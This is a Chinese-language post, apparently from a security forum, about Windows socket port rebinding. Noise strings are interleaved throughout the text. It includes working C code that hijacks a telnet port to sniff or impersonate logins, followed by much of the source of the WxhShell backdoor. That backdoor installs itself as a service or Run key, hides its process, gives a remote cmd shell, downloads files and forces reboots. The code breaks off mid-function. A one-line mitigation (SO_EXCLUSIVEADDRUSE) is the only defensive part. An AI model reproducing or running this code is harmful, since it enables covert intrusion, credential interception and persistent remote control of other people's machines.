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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )`DVPudiy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ppyy0E^M E^1yU saddr.sin_family = AF_INET; CS7b3p!I
W,xdj! ^t saddr.sin_addr.s_addr = htonl(INADDR_ANY); (?jK|_ h>/teHy / bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?zW'Hi A2|Bbqd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g:o/^_ uNN/o}Qx 这意味着什么?意味着可以进行如下的攻击: >jW**F rNP;53FtZl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZcN0:xU C/k#gLF` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Kh]es,$D j3Od7bBS] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f%]@e9dD hX.cdt_? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 uf6egm5] _3`GZeGV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Jt_=aMY:7 6] x6FeuS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T
lXS}5^ C4mkt2Eb0a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gP%<<yl x{1 v(n8+= #include )Te\6qM #include ~7:q+\ #include `<YMkp[ #include QVT0.GzR DWORD WINAPI ClientThread(LPVOID lpParam); G\sx'#Whc int main() w
<r*& { uw+nll*W% WORD wVersionRequested; xV>
.] DWORD ret; Xf4Q Lw/r WSADATA wsaData; /!]K+6>u BOOL val; 7X$CJ%6b SOCKADDR_IN saddr; iC#a+G*N_M SOCKADDR_IN scaddr; 1)z'-dQ-5$ int err; -wn-PB@r SOCKET s; +~5Lo'^ SOCKET sc; o?a2wY^_ int caddsize; L4 po1 HANDLE mt; /@`"&@W' DWORD tid; Ua}R3^_)a wVersionRequested = MAKEWORD( 2, 2 ); x6/u+Urn err = WSAStartup( wVersionRequested, &wsaData ); Fp.eucRxP if ( err != 0 ) { 7ys' [G|}r printf("error!WSAStartup failed!\n"); @K"$M>n$Z return -1; OX;bA^+}P } If&))$7u saddr.sin_family = AF_INET; h% -=8l, JI@iT6.%IX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h4n~V:nNm AROHe saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ToHx!,tDS saddr.sin_port = htons(23); L1kn="5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;~F*2) { (Yy#:r;U printf("error!socket failed!\n"); qsj$u-xhX return -1; L` [iI } z>!./z]p val = TRUE; s)\PY //SO_REUSEADDR选项就是可以实现端口重绑定的 4-bM90&1t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eEqcAUn { 0*MUe1{ printf("error!setsockopt failed!\n"); [vr"FLM|9 return -1;
]!ZZRe } ! Vl)aL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
l7t
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (6fD5XtS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gbdzS6XW~ tar/n o if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R&!;(k0 { %s}{5Qcl/ ret=GetLastError(); :a8Sy(" printf("error!bind failed!\n"); *$cx7yJ return -1; %R5- 6 } e/4C` J- listen(s,2); m+M^we*R while(1) HL{aqT2 { <8(q. caddsize = sizeof(scaddr); ftn10TO * //接受连接请求 remc_}`w sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i6bUJtL if(sc!=INVALID_SOCKET) e\}@w1 { Csu9u'.V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U/Cc!WXV] if(mt==NULL) dsX"S;`v { Lum=5zDo printf("Thread Creat Failed!\n"); 1!zd#TX break; )7NK+k } VK/L}^=GOO } c6b51)sQ" CloseHandle(mt); X[/7vSqZ@w } hGKQK
^bn closesocket(s); Wt%Wpb8 WSACleanup(); /\,3AInLb return 0; 7jw+o*; } blomB2vQ DWORD WINAPI ClientThread(LPVOID lpParam) ce$[H}rDB { *lDVV,T'}w SOCKET ss = (SOCKET)lpParam; eJf]"- SOCKET sc; 8A0a/
7Lj unsigned char buf[4096]; }#<Rs SOCKADDR_IN saddr; SOPair <r long num; hcW>R DWORD val; w!`e!} DWORD ret; `j{q //如果是隐藏端口应用的话,可以在此处加一些判断 eS Z':p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 zn/>t-Bc saddr.sin_family = AF_INET; ,]t_9B QK saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A#`$#CO saddr.sin_port = htons(23); e6*,MnqBh if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Fx *,91 { (0@b4}Z printf("error!socket failed!\n"); I>8_gp\1 return -1; D<70rBf2 } n"?*"Ya val = 100; ~|<'@B!6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a?ete9Q+ { T:
My3&6 ret = GetLastError(); C6g p}% return -1; (-J'x%2) } aY4v'[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X#by Dg { mCn:{G8+ ret = GetLastError(); .Tl,Ek( return -1; ~zZOogM< } M]%dFQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) { Mf-?_% { ga,kKPL printf("error!socket connect failed!\n"); x;SY80D closesocket(sc); Mp
js closesocket(ss); 'JgCl'k, return -1; 4YY!oDN: } CY':'aWfa< while(1) X { b*tb$F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Js:U1q //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;I@\}!%H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /)RH-_63 num = recv(ss,buf,4096,0); |oOAy if(num>0) 3zmbx~| =\ send(sc,buf,num,0); $[Ut])4
~ else if(num==0) .p Mwa break; ZJ+ad,?, num = recv(sc,buf,4096,0); J(8?6&=ck if(num>0) 2xUgM}e send(ss,buf,num,0); "3 ++S else if(num==0) KL!cPnAUu break; \HrtPm`e } cBbumf 9C closesocket(ss); r#oJch= closesocket(sc); iDcYyNE return 0 ; o[RwK } q77qdmq7 |aU8WRq Q(Yn8t ========================================================== .*n*eeD, }tBw<7fe 下边附上一个代码,,WXhSHELL -Ju;i< ukVBC"Ny ========================================================== ue?3;BF 5 '
-9=> #include "stdafx.h" O> _ F
qnQ". #include <stdio.h> y8C8~ -&OK #include <string.h> 'C`Ykjf #include <windows.h> 4*o?2P$Q #include <winsock2.h> IMM+g]#e #include <winsvc.h> @d^DU5ats> #include <urlmon.h> RO3q!+a$/ |Vlx: #pragma comment (lib, "Ws2_32.lib") G{,DoCM5WL #pragma comment (lib, "urlmon.lib") pd`m//G CAx
eJ`Q #define MAX_USER 100 // 最大客户端连接数 Yv)c\hm(7j #define BUF_SOCK 200 // sock buffer -{C Gn5]_# #define KEY_BUFF 255 // 输入 buffer _OJfd gm-9 oA
X #define REBOOT 0 // 重启 2wPc
yD #define SHUTDOWN 1 // 关机 \M|:EG% _iDVd2X"H #define DEF_PORT 5000 // 监听端口 R
i,_x (GGosXU-v #define REG_LEN 16 // 注册表键长度 *_J{_7pwe #define SVC_LEN 80 // NT服务名长度 _<F;&(o !%t2ZQJq // 从dll定义API EbX!;z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aO(iKlZ$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t,r:=' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oC}
u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q7_Ttjn-DV /s+IstW // wxhshell配置信息 rH,@"(p\ struct WSCFG { ;/pI@Ck int ws_port; // 监听端口 lIx./Nf char ws_passstr[REG_LEN]; // 口令 KXl!VD,#`= int ws_autoins; // 安装标记, 1=yes 0=no :x5O1Zn/t char ws_regname[REG_LEN]; // 注册表键名 ]9_}S char ws_svcname[REG_LEN]; // 服务名 dHg[r|xC char ws_svcdisp[SVC_LEN]; // 服务显示名 ,~1sZ`C char ws_svcdesc[SVC_LEN]; // 服务描述信息 01&E.A char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5}w int ws_downexe; // 下载执行标记, 1=yes 0=no -I6t ^$HA char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Og@{6> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OAiv3"p JKrS;J^97v }; ~b
X~_\ &%@O V:C // default Wxhshell configuration G3]#Du struct WSCFG wscfg={DEF_PORT, 7TI6EKr "xuhuanlingzhe", Z1v~tqx 1, b$Dh|-8 "Wxhshell", QY<5o;m` "Wxhshell", '+vmC*-I( "WxhShell Service", r_,;[+! "Wrsky Windows CmdShell Service", ZQ*Us*9I "Please Input Your Password: ", ;PMh>ZE` 1, {,*vMQ<^ " http://www.wrsky.com/wxhshell.exe", 3iX\):4 "Wxhshell.exe" `$6~QLUf }; H[OgnnM IoK/ 2Gp // 消息定义模块 }a9G,@:k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "lt5gu! `u char *msg_ws_prompt="\n\r? for help\n\r#>"; rev*G: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %yjD<2J; char *msg_ws_ext="\n\rExit."; v[8+fd)}S char *msg_ws_end="\n\rQuit."; 'DpJ#w\81 char *msg_ws_boot="\n\rReboot..."; `F&~SU, char *msg_ws_poff="\n\rShutdown..."; nSBhz char *msg_ws_down="\n\rSave to "; `]@=Hx( 6@8z3JW.A char *msg_ws_err="\n\rErr!"; U~"Y8g#qgy char *msg_ws_ok="\n\rOK!"; ,=[%#gS FY^Nn char ExeFile[MAX_PATH]; |S|'o*u int nUser = 0; <Q- m & HANDLE handles[MAX_USER]; ;y1/b(t int OsIsNt; yf8kBT:&S "8cI]~V SERVICE_STATUS serviceStatus; &|RTLGwX SERVICE_STATUS_HANDLE hServiceStatusHandle; vlEW{B;)Z t#t[cgI // 函数声明 gJrWewEe int Install(void); Q@NFfJJ int Uninstall(void); W-&V:S{< int DownloadFile(char *sURL, SOCKET wsh); 1 0c.#9$ int Boot(int flag); O&|<2Qr void HideProc(void); ^->S7[N? int GetOsVer(void); Z(Y: int Wxhshell(SOCKET wsl); #RU8yT void TalkWithClient(void *cs); [>\|QS| int CmdShell(SOCKET sock); j4#uj[A int StartFromService(void); 8=joVbs int StartWxhshell(LPSTR lpCmdLine); $of2 lA vW vu&3tx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sO6=w%l^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8,!Oup 6},[HpXRc4 // 数据结构和表定义 Nf3UVK8LtS SERVICE_TABLE_ENTRY DispatchTable[] = 9:VUtx#}2 { 650qG$ {wscfg.ws_svcname, NTServiceMain}, c-Yd> 4+1 {NULL, NULL} PRTjXq6)5 }; /"j3B\`? ty pbwfM] // 自我安装 p@4GI[ 4 int Install(void) Q1?*+] { 25{_x3t^ char svExeFile[MAX_PATH]; SZHgXl3: HKEY key; +s"6[\H1d strcpy(svExeFile,ExeFile); -,p=;t#( @v#P u_ // 如果是win9x系统,修改注册表设为自启动 \i%mokfbc if(!OsIsNt) { (4A'$O2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [x>Ju&))$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,bdjk( RegCloseKey(key); &s(&B>M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uXh:/KO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DHw)]WB M RegCloseKey(key); Kob,}NgqZ return 0; +?m.uY( } Y-YuY } g""GQeR } E8}evi else { K SOD( x6s|al // 如果是NT以上系统,安装为系统服务 l&qCgw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _"yA1D0d_ if (schSCManager!=0) e}d(.H%l0 { L1/`/ SC_HANDLE schService = CreateService Cg]),S ( wL
4Y%g schSCManager, '= fk;AiQ wscfg.ws_svcname, %60 OS3 wscfg.ws_svcdisp, I_u/ SERVICE_ALL_ACCESS, N6}/TbfAR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BrwC9: SERVICE_AUTO_START, k_0@,b3 SERVICE_ERROR_NORMAL, HRDpFMA/~ svExeFile, p.=9[` NULL, ;t\h"K<,| NULL, }A24;'} NULL, M]/aW NULL, # Q^".# NULL }a6t <m`V ); Ls9NQy if (schService!=0) cpltTJFg { NSB6 2 CloseServiceHandle(schService); Kh(`6 f CloseServiceHandle(schSCManager); f=R+]XPzz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gaY&2 strcat(svExeFile,wscfg.ws_svcname); >dt*^}* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j"69uj` R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `<X-3)>;G RegCloseKey(key); !sm/BsmL7T return 0; !V37ePFje } FHSoj= } :Tg+)c Z CloseServiceHandle(schSCManager); 67&
hXIp } ?";SUku } ,=m.WmXE d-UeItyW* return 1; Kg$RT?q-C6 } D'#Q`H 1I9v`eT4 // 自我卸载 <GNLDpj int Uninstall(void) vv @m{,7#Y { 2Kz+COP+ HKEY key; ==5F[UX }bjZeh. if(!OsIsNt) { FoyYWj?,R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '{,xQf*x RegDeleteValue(key,wscfg.ws_regname); XZM3zlg* RegCloseKey(key); zzQWHg]/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lqj
Qv$ RegDeleteValue(key,wscfg.ws_regname); fo@^=-4A- RegCloseKey(key); pD732L@q return 0; St-uE|8 } y!77gx?- } WVy'f|3; } ~-BF7f6C else { ^hC'\09=c 2ndn8_l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \j>7x if (schSCManager!=0) 37/n"\4 { `@h|+`h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +tqErh?Al if (schService!=0) 85GIEUvH/ { HB/V4ki if(DeleteService(schService)!=0) { WVbrbs4 CloseServiceHandle(schService); fSuykbZ CloseServiceHandle(schSCManager); hi0HEm\ return 0; 8vY-bm,e } >d 2Fa4u3 CloseServiceHandle(schService); 5~JT*Ny } `Z?wj@H1` CloseServiceHandle(schSCManager); ;<AcW.jx } EiW|+@1 } /fr> Fd u]J@65~'b return 1; *x"80UXL } ;Ba%aaHl LwH#|8F // 从指定url下载文件 86r5!@WN int DownloadFile(char *sURL, SOCKET wsh) KQdIG9O+6 { V)`2Kw HRESULT hr; g>@JGzMLP char seps[]= "/"; 1sQIfX#2f char *token; ~7P)$[ char *file; Dm>"c;2 char myURL[MAX_PATH]; IU%|K~_n char myFILE[MAX_PATH]; NI >%v 4>hHUz[_ strcpy(myURL,sURL); aLJm%uW6m& token=strtok(myURL,seps); g{65 QP while(token!=NULL) @X2*O9 { |p11Jt[ file=token; {*ak>Wud token=strtok(NULL,seps); $cCC
1=dW } V#t_gS X
W)TI GetCurrentDirectory(MAX_PATH,myFILE); Kx__&a strcat(myFILE, "\\"); j i"g)d6 strcat(myFILE, file); Bh>L"'.2 send(wsh,myFILE,strlen(myFILE),0); d8j1L/e send(wsh,"...",3,0); P#,u9EIJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QHEtG2 if(hr==S_OK) kmI0V[Y return 0; q+
$6D;9 else yB*,)x0
@ return 1; FK|O^->B `2s!%/ } +K57. n{ _u`YjzK // 系统电源模块 Mqf Ns<2 int Boot(int flag) ^mS |ff { Ccf/hA#mb HANDLE hToken; +eM${JyXH TOKEN_PRIVILEGES tkp; XpIiJry!6 a&y^Ps6= if(OsIsNt) { c7Z4u|G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C6_(j48& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?Ec9rM\ze tkp.PrivilegeCount = 1; RU )35oEV| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y?VbgOM) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {f!/:bM if(flag==REBOOT) { ?9b9{c'an if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +]db- return 0; }I"C4'(a } I5$P9UE+^9 else { t8Zo9q> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^NW[)Dq1< return 0; (B7G'h.? } .J"N} } XH:*J+$O else {
5\- uo if(flag==REBOOT) { S:\i
M: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )xGAe#E~j return 0; [M_{~1xX } 30Q
p^)K else { :QCL9QZ' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^E
!v D return 0; #x%'U}sF } 90}{4&C.^ } QFyL2Xes/ mCtS_"W return 1; YdY-Jg Xm } ^S9y7b^;r h`fVQN.3 // win9x进程隐藏模块 CUA @CZ6{ void HideProc(void) }2A6W%^>] { [&Xp]:M'D ^
k^y|\UtZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 97}]@xN= if ( hKernel != NULL ) ) "#' { [\uR3$j# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g|=_@
pL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WA{igj@\ FreeLibrary(hKernel); B*7kX&Uq } ]6&NIz`:, \>L,X_DL return; 5/48w-fnZ } q>q:ZV 7*'/E#M // 获取操作系统版本 MfTLa)Rz int GetOsVer(void) #c!:&9oU { Nz{dnV{&x; OSVERSIONINFO winfo; rCyb3,W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OI R5QH GetVersionEx(&winfo); ]n ?x tI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
w-jElV return 1; OfsP5*d else 3JoY- return 0; z(PUoV:? } ZTC>Ufu2! .{Y;6]9[ // 客户端句柄模块 ]wQ!ZG?)
int Wxhshell(SOCKET wsl) v1h(_NLI! { sE9FT#iE SOCKET wsh; 8WP>u8& struct sockaddr_in client; $o6/dEKQ DWORD myID; Ur j*V0^ C3AWXO ^ while(nUser<MAX_USER) 2`yhxO { x"W~m.y$h int nSize=sizeof(client);
K
+7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e4X
df>B if(wsh==INVALID_SOCKET) return 1; N&8TG ?M2(80 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;#B(L=/ if(handles[nUser]==0) I8*VM3 closesocket(wsh); ;'!x else !Jg;%%E3:i nUser++; (Guzj*1 2 } ]{-.?W*$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jA? #!lx_ NgNGq\! return 0; Hg+<GML } P{L=u74b{x 7GA8sK // 关闭 socket 6*8Wtq void CloseIt(SOCKET wsh) vr!J3H f { 91
jRIB closesocket(wsh);
Xo^8o0xi nUser--; AXfU$~ ExitThread(0); ,OZ } h\RX/C!+ D6SUzI1+H // 客户端请求句柄 |1tKQ0jg void TalkWithClient(void *cs) FU|brSt { Z\$HgG uL'f8Pqg SOCKET wsh=(SOCKET)cs; N_t,n^i9>* char pwd[SVC_LEN]; PSrx! char cmd[KEY_BUFF]; &\zYbGU char chr[1]; F<4rn int i,j; ;w{<1NH2+. "EW8ll7r while (nUser < MAX_USER) { M,Gy.ivz :XKYfc_y if(wscfg.ws_passstr) { GR,2^]<{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6fwNlC/9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q @}$b(b //ZeroMemory(pwd,KEY_BUFF); 8&QST!JGSX i=0; C|{Sj`,XG while(i<SVC_LEN) { <,.$U\W $+eeE // 设置超时 N#w5}It fd_set FdRead; pDQ
f(@M[ struct timeval TimeOut; _S!^=9bJ FD_ZERO(&FdRead); !0
7jr%-~ FD_SET(wsh,&FdRead); d[9,J?'OQ TimeOut.tv_sec=8; s"L&y <?) TimeOut.tv_usec=0; .Xg.,kW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >OG189O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z%&FLdXgW+ o$_0Qs$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GT>'|~e pwd =chr[0]; <J%qzt} if(chr[0]==0xd || chr[0]==0xa) { T/$gnn pwd=0; /%$Zm^8c break; LUbhTc } iUKjCq02 i++; U#<d",I } YV>a 3 FT).$h~+4 // 如果是非法用户,关闭 socket iIfiv<(ChM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IPot][ N> } +Z#=z,.^ K5>3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eAHY/Y! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5!0iK9O /08FV|tX) while(1) { 2:LUB)&i >}k*!J| ZeroMemory(cmd,KEY_BUFF); !&)X5oJ " <bjS // 自动支持客户端 telnet标准 ]+lT*6P* j=0; (6%T~|a while(j<KEY_BUFF) { =fSTncq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o)Q4+njT@ cmd[j]=chr[0]; XY0kd&N8 if(chr[0]==0xa || chr[0]==0xd) { 3
98)\3o cmd[j]=0; UrniJB] break; :kZ]Swi 5 } *h^->+0n j++; lM-\:Q! } b"g^Jm! j G<Z}G8FW^ // 下载文件 \Z*:l( if(strstr(cmd,"http://")) { jAQ{H send(wsh,msg_ws_down,strlen(msg_ws_down),0); D5zc{) / if(DownloadFile(cmd,wsh)) 92-Xz6Bo9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $W._FAAJ# else
K^{j$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Aez2n(yac } vuQA-w7 else { hB?#b`i^ ;NP-tA) switch(cmd[0]) { &-/J~b)" QPy h.9:N // 帮助 DpHubqWz case '?': { H UJqB0D
? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "jZZ>\ break; a-5UG#o } at>_EiS // 安装 &Vj@){ case 'i': { $.,PteYK if(Install()) DVQr7tQf send(wsh,msg_ws_err,strlen(msg_ws_err),0); qw+7.h#V else YB*)&@yx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5{H)r break; wXNng(M7
} )St0}?I~ // 卸载 p{?duq= case 'r': { fb
f&bJT if(Uninstall()) Q}#4Qz~n send(wsh,msg_ws_err,strlen(msg_ws_err),0); RXRbW %b else 9FEhl~& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zf M]A) break; 74_?@Z( } s$y_(oU,D // 显示 wxhshell 所在路径 '{`KYKLP+ case 'p': { j)ic7b char svExeFile[MAX_PATH]; besc7!S strcpy(svExeFile,"\n\r"); s:<y\1Ay strcat(svExeFile,ExeFile); {[uhIJD3g6 send(wsh,svExeFile,strlen(svExeFile),0); 2e6P?pX~2 break; 6>?qBWW } 1^IMoC7$# // 重启 P, x"![6 case 'b': { |E13W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dw=L]i
:0v if(Boot(REBOOT)) #kQ! GMZH send(wsh,msg_ws_err,strlen(msg_ws_err),0); TjpyU:R,&| else { IO7z}![V; closesocket(wsh); '[r: pwE ExitThread(0);
dX\OP> } =K@LEZZ'/< break; gd[muR ~ } WjBml'^RY // 关机 U/c+j{=~ case 'd': { &4E|c[HN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <v ub
Q4 if(Boot(SHUTDOWN)) c |%5SA send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2tU3p<[ else { S5|7D[* closesocket(wsh); :F d1k
Jm ExitThread(0); TT/=0^" } 5REH`- break; "'BDVxp'w } r6j[C"@ // 获取shell 1uo |a case 's': { b$w66q8 CmdShell(wsh); iBWzxPv:z closesocket(wsh); LBio$67F ExitThread(0); nANl9;G break; 4=MVn } '4{@F~fu // 退出 ~vP_c(8f case 'x': { f*@
:,4@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qX&+ CloseIt(wsh); .0nT*LF break; `LH 9@Z{ } t:dvgRJt* // 离开 QAI=nrlp case 'q': { ,T;sWl send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8V(~u^!%_ closesocket(wsh); M5[#YG'FlQ WSACleanup(); "eoPG#]& exit(1); 0MT?}D&TL break; ,%Pn.E* r; } *7*_QW%?A } eDo4>k"5 } QVn2`hr }P=FMme{F( // 提示信息 -/3h&g if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vkLt#yj~ } W)`>'X` } EQnU:a Ym%#" return; 6n:X
p_yO } ~m R^j uP7|#>1% // shell模块句柄 +VIEDV+ int CmdShell(SOCKET sock) [p\xk{7Y { %AV3eqghCg STARTUPINFO si; UB] tKn ZeroMemory(&si,sizeof(si)); depCqz@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9[t-W:3c7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dyqk[$( PROCESS_INFORMATION ProcessInfo; ?n<sN" char cmdline[]="cmd"; =5:vKL j CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d*!H&1L return 0; I9TNUZq(' } =PU@'OG wV-N\5!r%H // 自身启动模式 ?,v@H$)3_ int StartFromService(void) wPyc?:|KD? { b%VBSNZ typedef struct .&=\
*cZc { xR'd}>` DWORD ExitStatus; -Hi_g@i*XW DWORD PebBaseAddress; KJn 3&7 DWORD AffinityMask; aSm</@tO& DWORD BasePriority; *~`oA~-Q ULONG UniqueProcessId; qvsfU*wo? ULONG InheritedFromUniqueProcessId; q9zeN:>< } PROCESS_BASIC_INFORMATION; j%vxCs> HVC|0} PROCNTQSIP NtQueryInformationProcess; :U1V 2f'l3 R^E-9S\@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WUDXx % static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PC=s:`Y}R J_
h\tM HANDLE hProcess; 8=\k<X{` PROCESS_BASIC_INFORMATION pbi; {YzpYc1
